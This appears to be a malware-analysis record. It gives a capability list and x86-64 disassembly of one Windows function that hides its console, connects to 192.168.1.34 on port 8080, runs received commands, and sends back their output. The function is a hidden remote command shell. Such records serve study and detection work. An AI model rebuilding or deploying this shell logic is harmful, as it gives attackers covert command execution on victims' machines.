Function at 0x140001f00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x940]
sub rsp, 0xa40
mov rax, qword [0x140032040]
xor rax, rsp
mov qword [rbp + 0x930], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x202
lea rdx, [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor esi, esi
mov ebx, 2
mov dword [rsp + 0x28], esi
mov ecx, ebx
xor r9d, r9d
mov dword [rsp + 0x20], esi
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x1f90
mov rdi, rax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp - 0x7c]
mov word [rbp - 0x80], bx
lea rdx, str.192.168.1.34
mov word [rbp - 0x7e], ax
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
mov qword [rsp + 0x30], rsi
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov r8d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
je 0x140002201
xor r9d, r9d
lea rdx, [rbp + 0x130]
mov r8d, 0x400
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400021bc
nop dword [rax]
mov ecx, eax
cmp rcx, 0x400
jae 0x1400021fb
mov byte [rbp + rcx + 0x130], sil
lea rdx, [0x14002d2e0]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], rsi
xor r8d, r8d
movups xmmword [rsp + 0x60], xmm0
call fcn.140002870
lea rdx, [0x14002d330]
lea rcx, [rbp + 0x130]
call fcn.14000bfc8
mov rbx, rax
test rax, rax
jne 0x1400020c4
xorps xmm0, xmm0
mov qword [rsp + 0x50], rsi
mov r8d, 0x28
mov qword [rsp + 0x58], rsi
lea rdx, str.Command_not_found_or_cannot_be_executed.
lea rcx, [rsp + 0x40]
movups xmmword [rsp + 0x40], xmm0
call fcn.140002870
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140002126
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020bd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002216
call fcn.140005a50
jmp 0x140002126
mov r8, rbx
lea rcx, [rbp + 0x530]
mov edx, 0x400
call fcn.14000c144
test rax, rax
je 0x14000210a
nop dword [rax]
lea rdx, [rbp + 0x530]
lea rcx, [rsp + 0x60]
call fcn.140002260
mov r8, rbx
lea rcx, [rbp + 0x530]
mov edx, 0x400
call fcn.14000c144
test rax, rax
jne 0x1400020e0
mov rcx, rbx
call fcn.14000bef0
movups xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
mov r8, qword [rsp + 0x50]
test r8, r8
jne 0x140002145
mov r8d, 0x28
lea rcx, [rsp + 0x40]
call fcn.1400023e0
mov r8, qword [rsp + 0x50]
cmp qword [rsp + 0x58], 0xf
lea rdx, [rsp + 0x40]
mov rcx, rdi
cmova rdx, qword [rsp + 0x40]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000219b
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002196
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021f5
call fcn.140005a50
xor r9d, r9d
lea rdx, [rbp + 0x130]
mov r8d, 0x400
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140002000
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rbp + 0x930]
xor rcx, rsp
call fcn.140005a30
lea r11, [rsp + 0xa40]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.14000c56c
int3
call fcn.140005b60
int3
call fcn.140002550
mov rcx, rax
call fcn.140002220
xor ecx, ecx
call fcn.14000b7c0
int3
call fcn.14000c56c
int3